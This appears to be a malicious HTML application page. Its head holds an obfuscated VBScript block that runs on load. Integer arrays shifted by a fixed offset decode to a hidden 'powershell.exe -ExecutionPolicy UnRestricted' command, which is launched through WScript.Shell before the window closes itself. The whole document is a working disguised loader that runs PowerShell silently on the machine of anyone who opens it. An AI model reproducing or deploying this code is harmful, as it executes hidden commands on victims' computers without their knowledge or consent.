<head>
<script language="vBsCRIPT">
Function AHBNLfrI(ByVal kEsxQnznMiwR)
Dim EBwznk
Dim xoSuyEQxsQmp
xoSuyEQxsQmp = 62128
Dim ASrDRnzz
ASrDRnzz = FGeIYIvaSLPL(kEsxQnznMiwR)
If ASrDRnzz = 7000 + 1204 Then
For Each EBwznk In kEsxQnznMiwR
Dim yqPpB
yqPpB = yqPpB & Chr(EBwznk - xoSuyEQxsQmp)
Next
End If
AHBNLfrI = yqPpB
End Function
Function rivyKCaa()
Dim kEsxQnznMiwR
Dim hAsuDvI
kEsxQnznMiwR = Array(62240,62239,62247,62229,62242,62243,62232,62229,62236,62236,62174,62229,62248,62229,62160,62173,62197,62248,62229,62227,62245,62244,62233,62239,62238,62208,62239,62236,62233,62227,62249,62160,62213,62238,62210,62229,62243,62244,62242,62233,62227,62244,62229,62228,62160,62230,62245,62238,62227,62244,62233,62239,62238,62160,62238,62237,62199,62207,62248,62213,62208,62206,62206,62249,62248,62168,62164,62239,62231,62211,62229,62241,62249,62197,62207,62248,62234,62211,62211,62249,62232,62195,62172,62160,62164,62214,62249,62239,62193,62244,62218,62227,62228,62230,62209,62169,62251,62219,62201,62207,62174,62198,62233,62236,62229,62221,62186,62186,62215,62242,62233,62244,62229,62193,62236,62236,62194,62249,62244,62229,62243,62168,62164,62239,62231,62211,62229,62241,62249,62197,62207,62248,62234,62211,62211,62249,62232,62195,62172,62160,62164,62214,62249,62239,62193,62244,62218,62227,62228,62230,62209,62169,62253,62187,62230,62245,62238,62227,62244,62233,62239,62238,62160,62204,62205,62193,62201
hAsuDvI = AHBNLfrI(kEsxQnznMiwR)
Dim xsBiwkDBR
Set xsBiwkDBR = NSRuMSEqi(AHBNLfrI(Array(62215,62243,62227,62242,62233,62240,62244,62174,62211,62232,62229,62236,62236)))
xsBiwkDBR.Run(hAsuDvI),0,true
self.close()
End Function
Function FGeIYIvaSLPL(ByVal ASrDRnzz)
FGeIYIvaSLPL = VarType( ASrDRnzz)
End Function
Function NSRuMSEqi(ByVal objectType)
Set NSRuMSEqi = CreateObject(objectType)
End Function
rivyKCaa()
</script>
</head>
</html>